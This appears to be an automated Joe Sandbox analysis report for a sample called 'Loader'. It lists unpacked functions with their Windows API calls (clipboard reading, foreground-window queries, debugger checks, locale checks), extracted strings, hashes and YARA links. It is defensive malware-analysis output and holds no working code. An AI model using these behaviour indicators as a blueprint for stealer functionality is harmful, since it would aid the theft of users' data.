Instruction ID: 6f5871278c2de285bb2fe085768f0866367ca84f7d9b56f2c5d6fe1319dd8f16
Opcode Fuzzy Hash: 01811f29e235513fc7299bdc820a11077f974d21a0dddd2b594181d633a5cebe
Instruction Fuzzy Hash: C9E137B1604B028FC724CF25C8916A7B7F2FF46314B19862ED4968B792EB39F845CB54

Function 0043C2A0 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(004370F0), ref: 0043C2CE

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 0040BB4E Relevance: 1.4, Strings: 1, Instructions: 138COMMON

Download Yara Rule

Strings

670Q, xrefs: 0040BC40

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID: 670Q
API String ID: 0-369810661
Opcode ID: 9c71f36bc0503d509e4c0042ae46247c013ffa5cc9855771b124ca34ea316a1e
Instruction ID: f074675a49b9bbd4516abaab6d571cb18c5723ecd27a76219b0c80a669e3e857
Opcode Fuzzy Hash: 9c71f36bc0503d509e4c0042ae46247c013ffa5cc9855771b124ca34ea316a1e
Instruction Fuzzy Hash: 2D41EEB950C3428BD718DF24D85063BBBE1EF89304F04592DF981E7390EB38CA468B5A

Function 0043CB73 Relevance: 1.3, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

D]+\, xrefs: 0043CC20

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID: D]+\
API String ID: 2994545307-1174097187
Opcode ID: 0222fe3cc25219463dfa5335a73e15cc83d74814090df7f252d8b109641b87a0
Instruction ID: 92c47f246a1912d9ce6ac393dec9d1f9a42c5fc013663cb1112089d2821f752f
Opcode Fuzzy Hash: 0222fe3cc25219463dfa5335a73e15cc83d74814090df7f252d8b109641b87a0
Instruction Fuzzy Hash: 04210BB46082508BD724DF18D8E553B7752EB9B324F24AA2DD19377392CB39A803871D

Function 00418D53 Relevance: .4, Instructions: 396COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68038a066cb984a5ba95bf4be2f1f54a6e539086d4aa7a49013cdef61b28e75f
Instruction ID: 437ebbb2b4f94054da2a02d322ddf1b4c79e3307b43b94539e33975bc5451b4e
Opcode Fuzzy Hash: 68038a066cb984a5ba95bf4be2f1f54a6e539086d4aa7a49013cdef61b28e75f
Instruction Fuzzy Hash: 3BC1F676A006008FD724CF25DC527A777E2EFDA314F19852EE46A8B3A1EB39E841C715

Function 0040C2D9 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbfaea3652700aad66ae8b5cbffbff1cebb5127eef7bc5127a17907e3000bec5
Instruction ID: 1b9fdb06d0ddfcab731a8e18f0e14a63b1898920f8ed6076c53237a48bd52106
Opcode Fuzzy Hash: cbfaea3652700aad66ae8b5cbffbff1cebb5127eef7bc5127a17907e3000bec5
Instruction Fuzzy Hash: EC31C4347993409FE3188B65DCD17AFB7A1EBD2310F58AA3DE185276C1C5799C028B0A

Function 0043C499 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6ffe3f958ae392c03cc8c0cfd7b693633d152322348625adce922c71a808d30
Instruction ID: 01a8cc9eb6bda5fc05a3dc8a3e4edf4114d6fe1a3f591cca72f61784f32046ce
Opcode Fuzzy Hash: a6ffe3f958ae392c03cc8c0cfd7b693633d152322348625adce922c71a808d30
Instruction Fuzzy Hash: 5801F9B46481408FEB089F18E8E183B3352EB5B319F24253DD693D3352D734A8028B1D

Function 0040C8A8 Relevance: 3.0, APIs: 2, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040C8BA
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040C8D2

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: b4296f5bf66217401610cdcfa1a296523d49720095e68a319450dc3b0167478d
Instruction ID: 8553e90f594387f5b7c332de2aa1a3faf241ec2240f940421d84c046d4fe9155
Opcode Fuzzy Hash: b4296f5bf66217401610cdcfa1a296523d49720095e68a319450dc3b0167478d
Instruction Fuzzy Hash: 59E01CB97C8300BEF6B89B04EC17F0036159B86F22F344328B3623DAE5CAE03200860C

Function 0043CF7D Relevance: 3.0, APIs: 2, Instructions: 16
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetForegroundWindow.USER32 ref: 0043CF7D
GetForegroundWindow.USER32 ref: 0043CF8E

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 33eef3dcdfb26379f6be174b626c5b8d1e0915bcc50e2dda3ce55e029a2f1faf
Instruction ID: fc7cb0c6c49eba1f3d744f614275574fac1fc89cab4a0a90c5814eec625feefd
Opcode Fuzzy Hash: 33eef3dcdfb26379f6be174b626c5b8d1e0915bcc50e2dda3ce55e029a2f1faf
Instruction Fuzzy Hash: 05D05EFCE011005FD604AF2AEC0A8073719AF463697044838E80382322DB35A409C68A

Function 0043521A Relevance: 1.6, APIs: 1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 00435246

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID: DefaultLanguageUser
String ID:
API String ID: 95929093-0
Opcode ID: c0a0c0911acf6f15958a14286c97cb6080223a5dc4b29cfb9a85d562d90a8222
Instruction ID: afb7a35382593c5cfd126aaf40fb98ff04a22a634163e15ad0bc91d0e6d8dc7e
Opcode Fuzzy Hash: c0a0c0911acf6f15958a14286c97cb6080223a5dc4b29cfb9a85d562d90a8222
Instruction Fuzzy Hash: 3E215032E051568FCB24DF7C9C416EEBBB25F89310F1942EDD49DA73D2CA3449408B95

Function 0043A770 Relevance: 1.5, APIs: 1, Instructions: 22
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(?,00000000,?,0043C28B,?,0040B4B5,00000000,00000001), ref: 0043A78E

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: caabfcaa72e5470946f6ca4427926c84bcda5f54ce375479d517c0aabd71c446
Instruction ID: 4992db4bc432bda74488e6d5c5d257cd7b61755a4dfdc40978b602ad18c53902
Opcode Fuzzy Hash: caabfcaa72e5470946f6ca4427926c84bcda5f54ce375479d517c0aabd71c446
Instruction Fuzzy Hash: 3BD09E39549122EFD6105B18FC06B563E989F0A321F0344A1A848AB176C734DC518AD8

Function 0040C860 Relevance: 1.5, APIs: 1, Instructions: 17
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0040C873

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 4bbf24a5438f130a95e33c4d49483ab2f32870fdbb1ee9ea91f436b5ec706ad2
Instruction ID: 08ea482de330e3238874b3a9957b5d4c760d97408fd99f55b8527d5335e22217
Opcode Fuzzy Hash: 4bbf24a5438f130a95e33c4d49483ab2f32870fdbb1ee9ea91f436b5ec706ad2
Instruction Fuzzy Hash: 44D0A7755945046BD248AB1CEC07F12761CD743B96F500239B3E2D65E2DD10A914C6B9

Function 0043A750 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,A7A6D65C,?,004088B3,A7A6D65C), ref: 0043A760

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 9a71f785e5f83bbddcf320f482abdcd2a7aaa0805318461480f8c559e6873ef3
Instruction ID: e3b2aa9a3abd178e587d450ef89c5e13b01d6372c04cfc1ad517f247157b9b3d
Opcode Fuzzy Hash: 9a71f785e5f83bbddcf320f482abdcd2a7aaa0805318461480f8c559e6873ef3
Instruction Fuzzy Hash: C2C09B35545121ABD6102B15FC05FCA3F58DF49361F020055B50477072C770FC51C7D8

Non-executed Functions

Function 00431E50 Relevance: 31.6, APIs: 6, Strings: 12, Instructions: 115clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00431E64
GetClipboardData.USER32 ref: 00431E7F
GlobalLock.KERNEL32 ref: 00431E9E
GlobalUnlock.KERNEL32 ref: 00431FC2
CloseClipboard.USER32 ref: 00431FCD

Strings

X, xrefs: 00431F56
#, xrefs: 00431F3D
%, xrefs: 00431F29
v, xrefs: 00431F42
0, xrefs: 00431F38
1, xrefs: 00431F47
2, xrefs: 00431F24
, xrefs: 00431F33
/, xrefs: 00431F51
3, xrefs: 00431F2E
0, xrefs: 00431F1A
4, xrefs: 00431F1F

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockOpenUnlock
String ID: $#$%$/$0$0$1$2$3$4$X$v
API String ID: 1006321803-4221430632
Opcode ID: 414a686b483cfe36d44214dfc66855fae38711ae9d7862b2f205d028e1e2f7ff
Instruction ID: c862db148c6d63be707517a6193e86b852bced081a1d957933f243d26aa1f3d6
Opcode Fuzzy Hash: 414a686b483cfe36d44214dfc66855fae38711ae9d7862b2f205d028e1e2f7ff
Instruction Fuzzy Hash: 20417DB050C3818ED301AF78954936FBFE09F95318F04493EE4C5862A2D7BD9689C797

Function 0041A300 Relevance: 17.0, APIs: 2, Strings: 7, Instructions: 1204COMMON

Download Yara Rule

APIs

Part of subcall function 0043C2A0: LdrInitializeThunk.NTDLL(004370F0), ref: 0043C2CE

FreeLibrary.KERNEL32(?), ref: 0041A859
FreeLibrary.KERNEL32(?), ref: 0041A8BE

Strings

[X, xrefs: 0041A652
=D$J, xrefs: 0041A62A
;T9Z, xrefs: 0041A64A
;H N, xrefs: 0041A632
"@%F, xrefs: 0041A68B, 0041A696, 0041A769
aP5V, xrefs: 0041A642
xL{R, xrefs: 0041A63A

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID: FreeLibrary$InitializeThunk
String ID: "@%F$;H N$;T9Z$=D$J$[X$aP5V$xL{R
API String ID: 764372645-251327352
Opcode ID: fc43720ec403cf51c5b4529f7fc9ba6790b0a4f7fe5c1d377fe66c45ce06bdbc
Instruction ID: 03bf701f966d31ab4d2894af23fc97065e7027e7f3383c824c27777bf846b30c
Opcode Fuzzy Hash: fc43720ec403cf51c5b4529f7fc9ba6790b0a4f7fe5c1d377fe66c45ce06bdbc
Instruction Fuzzy Hash: 5C8238746093409FD7208B24C9847AFBBE2EBD6718F14892EE4C587352D779DC928B4B

Function 0042739B Relevance: 14.4, APIs: 3, Strings: 5, Instructions: 354COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 00427479

Strings

r, xrefs: 004273B2
vB, xrefs: 004276DB
!r, xrefs: 004273BA
w, xrefs: 004273AA
t", xrefs: 004273C2

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: r$!r$t"$w$vB
API String ID: 237503144-3055660046
Opcode ID: 7d0edabe9c9f95fff00816c39e9945e7527186e0a0bfea8e3be311cf868e62f0
Instruction ID: 413422fcd9f9314c72f22e3ad5f65b93cad865c5eee6eda8384dd01edf4a3395
Opcode Fuzzy Hash: 7d0edabe9c9f95fff00816c39e9945e7527186e0a0bfea8e3be311cf868e62f0
Instruction Fuzzy Hash: 89C124B5A08351CFD7149F24D84161FBBE1FBC5714F444A2DE994A7292DB34E805CB8A

Function 00436890 Relevance: 13.9, Strings: 11, Instructions: 196COMMON

Download Yara Rule

Strings

7, xrefs: 004369F3
m, xrefs: 00436A96
L, xrefs: 004368F0
>, xrefs: 00436981
-, xrefs: 004369FD
!, xrefs: 004369F8
7, xrefs: 00436A41
[, xrefs: 00436A91
L, xrefs: 004368AD
W, xrefs: 00436A8C
P, xrefs: 0043697C

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID: !$-$7$7$>$L$L$P$W$[$m
API String ID: 0-2182735278
Opcode ID: 5357215534a1a8570556cfb1352fb85abd795972e7adea89fb09911bb4632e42
Instruction ID: b665256441219ae1a62651b8d4155c49eefb60a1246e5cbd2a092f8878f86c97
Opcode Fuzzy Hash: 5357215534a1a8570556cfb1352fb85abd795972e7adea89fb09911bb4632e42
Instruction Fuzzy Hash: B771081250C7D29AD312963C485425BEFD10BE7224F1EDEAEE4E6973C2C169C84AC767

Function 0041E2F0 Relevance: 13.3, Strings: 10, Instructions: 847COMMON

Download Yara Rule

Strings

!, xrefs: 0041E521
DTVV, xrefs: 0041E9AB
_P\R, xrefs: 0041E9A3
iWDB, xrefs: 0041E678
JSQC, xrefs: 0041E69B
wJsU, xrefs: 0041E668
klSm, xrefs: 0041E660
*Shi, xrefs: 0041E596
x, xrefs: 0041E9B3
J_\e, xrefs: 0041E690

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID: !$*Shi$DTVV$JSQC$J_\e$_P\R$iWDB$klSm$wJsU$x
API String ID: 0-240862410
Opcode ID: 877db8cd815b655c7ede9538c6130a79155d4ed28d0a612c99b808fbe52db10a
Instruction ID: 8c163065db76bf25daad15ae668b4448e05c48e09220af6e5f217c2f1afa0463
Opcode Fuzzy Hash: 877db8cd815b655c7ede9538c6130a79155d4ed28d0a612c99b808fbe52db10a
Instruction Fuzzy Hash: 4F524A7450C3908FC721CF26D8407AFBBE1AF95304F088A6EE8D55B392D7398945CB5A

Function 002C7527 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 182COMMON

Download Yara Rule

APIs

Part of subcall function 002C24EA: GetLastError.KERNEL32(00000000,?,002C486D), ref: 002C24EE
Part of subcall function 002C24EA: SetLastError.KERNEL32(00000000,?,?,00000028,002BEB13), ref: 002C2590

GetUserDefaultLCID.KERNEL32 ref: 002C762F
IsValidCodePage.KERNEL32(00000000), ref: 002C766D
IsValidLocale.KERNEL32(?,00000001), ref: 002C7680
GetLocaleInfoW.KERNEL32(?,00001001,?,00000040,?,?,00000055,00000000,?,?,00000055,00000000), ref: 002C76C8
GetLocaleInfoW.KERNEL32(?,00001002,?,00000040), ref: 002C76E3

Strings

P.USA, xrefs: 002C758C

Memory Dump Source

Source File: 00000006.00000002.3526372620.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000006.00000002.3526334826.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526419252.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526456148.00000000002E5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526516723.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a0000_Loader.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID: P.USA
API String ID: 415426439-1155953425
Opcode ID: c2bf2b69d15c301f4b5f3fe5f7e54ed4af9a5c184505a7c4a6d2c1ffe27fac9c
Instruction ID: 1e4ae9939acd59a940f4c2a32a3a8162ad55602b8553b2fc879339d3d172f35b
Opcode Fuzzy Hash: c2bf2b69d15c301f4b5f3fe5f7e54ed4af9a5c184505a7c4a6d2c1ffe27fac9c
Instruction Fuzzy Hash: 88517471A2460A9BDB11DFA5CC85FBEB3B8BF08700F54466DE905D7190E7709924CF60

Function 00409720 Relevance: 10.4, Strings: 8, Instructions: 383COMMON

Download Yara Rule

Strings

UJVM, xrefs: 00409894
C@, xrefs: 00409B13
EVA^, xrefs: 0040989C
27B5BB0BA1EF35CB3322221C92AB110C, xrefs: 004097DB
]NGD, xrefs: 004098A4
xr, xrefs: 004099FA
xO, xrefs: 004099E2
}w, xrefs: 004099F2

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID:
String ID: 27B5BB0BA1EF35CB3322221C92AB110C$C@$EVA^$UJVM$]NGD$xO$xr$}w
API String ID: 0-39559990
Opcode ID: 18aaf7660f8605b4eb2d8ef0d0f22e4ad496b7b76f36b2428033480217871416
Instruction ID: e85339b9ce3e5d3a51de321619f6e7cf8909d870ce3ed7710f08b4f326bf092c
Opcode Fuzzy Hash: 18aaf7660f8605b4eb2d8ef0d0f22e4ad496b7b76f36b2428033480217871416
Instruction Fuzzy Hash: 50B114B160C3408FD718DF659851A7FBBE5EBD2314F14893EE4E29B382DA388505CB5A

Function 002C7CA7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,00000000,?,?,?,002C765D,?,00000000), ref: 002C7D40
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,00000000,?,?,?,002C765D,?,00000000), ref: 002C7D69
GetACP.KERNEL32(?,?,002C765D,?,00000000), ref: 002C7D7E

Strings

ACP, xrefs: 002C7CC5
OCP, xrefs: 002C7CFB

Memory Dump Source

Source File: 00000006.00000002.3526372620.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000006.00000002.3526334826.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526419252.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526456148.00000000002E5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526516723.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a0000_Loader.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 2d05074db226e74bf87e448518913a3b56a8cd310ec68aa4c9c022ed7bfc94d7
Instruction ID: 904211894d4de61cdca3c8560af11194dc971622c4d18b1901ebc8ecd7eaab86
Opcode Fuzzy Hash: 2d05074db226e74bf87e448518913a3b56a8cd310ec68aa4c9c022ed7bfc94d7
Instruction Fuzzy Hash: D621C132628147A7EB348F25C900FA773A6EF54B50F56826CE80BDB114E772DE61CB90

Function 00428A10 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 109COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001F,00000000,00000000,?), ref: 00428B05

Strings

V T, xrefs: 00428A5A
-NL, xrefs: 00428A2A
4FD, xrefs: 00428A3A

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: -NL$4FD$V T
API String ID: 237503144-2294908468
Opcode ID: 8deb48555407afbd8769a37911b9ff45232da72eb52c04fe9c2b4ef496a32ddb
Instruction ID: 3011e85b28844833365129e087f284c12d284813c4cde7633ec4a4c9c0b4019e
Opcode Fuzzy Hash: 8deb48555407afbd8769a37911b9ff45232da72eb52c04fe9c2b4ef496a32ddb
Instruction Fuzzy Hash: AA4130B12093908FD700CF24A891AAFBBE1FBC2704F51492DF5919B29ADB70D402CB42

Function 002C0040 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3526372620.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000006.00000002.3526334826.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526419252.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526456148.00000000002E5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526516723.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a0000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2acc4a95594b0cc3dae83bbb4bbb2394bfb15ac2bff7a19afe3f152f10eb15a3
Instruction ID: ca70cbe2e87da77fe8fec5a81b5f9d53ff74a00a49ace3b5f0d6204c995dd3d8
Opcode Fuzzy Hash: 2acc4a95594b0cc3dae83bbb4bbb2394bfb15ac2bff7a19afe3f152f10eb15a3
Instruction Fuzzy Hash: 52023971E1021ADBDF14CFA9C9C0BAEFBB1FF48314F24826DD919A7241D771AA518B90

Function 002C8289 Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 002C8379

Memory Dump Source

Source File: 00000006.00000002.3526372620.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000006.00000002.3526334826.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526419252.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526456148.00000000002E5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526516723.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a0000_Loader.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 92a13e108286c35b433fff7316341fde58835b34cf22be07d905596b9f3be97e
Instruction ID: 7f9f13ce67cf6ed000fff42ba758117e3ab856ddfd72259e348ca111c13a17cc
Opcode Fuzzy Hash: 92a13e108286c35b433fff7316341fde58835b34cf22be07d905596b9f3be97e
Instruction Fuzzy Hash: F471E27185116A9FDF24EF248C8DFAEBBB8AB05300F1482DEE40997211EF304EA58F10

Function 002B649F Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 002B64AB
IsDebuggerPresent.KERNEL32 ref: 002B6577
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 002B6590
UnhandledExceptionFilter.KERNEL32(?), ref: 002B659A

Memory Dump Source

Source File: 00000006.00000002.3526372620.00000000002A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000006.00000002.3526334826.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526419252.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526456148.00000000002E5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526485451.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3526516723.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2a0000_Loader.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 6729b761a8e75004d8e274034cd194d4f4bb5d2a5bf4da703f80a3c22ef2fd49
Instruction ID: 6da017b0df496006466afd9b341bc69aa25255eef15b3613fe77c27fbcbc1697
Opcode Fuzzy Hash: 6729b761a8e75004d8e274034cd194d4f4bb5d2a5bf4da703f80a3c22ef2fd49
Instruction Fuzzy Hash: 0E31F7B5D412299BDF20DFA4D98D7CDBBB8EF08340F1041AAE40CAB250EB749A94CF45

Function 00428824 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 187COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 004288AC
RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 004289D8

Strings

5F&D, xrefs: 00428965

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_Loader.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 5F&D
API String ID: 237503144-550051920
Opcode ID: 2450178101af210a46ac29acc5776fcfc1c182fd7293ca4534cff93855dd2b3d
Instruction ID: 942829b864b4477a1431440ad7c97e2cbeecfa58cdb7c96db8b67daf36b3e22e
Opcode Fuzzy Hash: 2450178101af210a46ac29acc5776fcfc1c182fd7293ca4534cff93855dd2b3d
Instruction Fuzzy Hash: 3651D3B0E003149FDB15AF7D884279EBFB1EB05310F55426DE856AB386CB754806CBDA

Function 004324D2 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00432520
GetSystemMetrics.USER32 ref: 0043252F

Strings

, xrefs: 00432603

Memory Dump Source

Source File: 00000006.00000002.3526620683.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

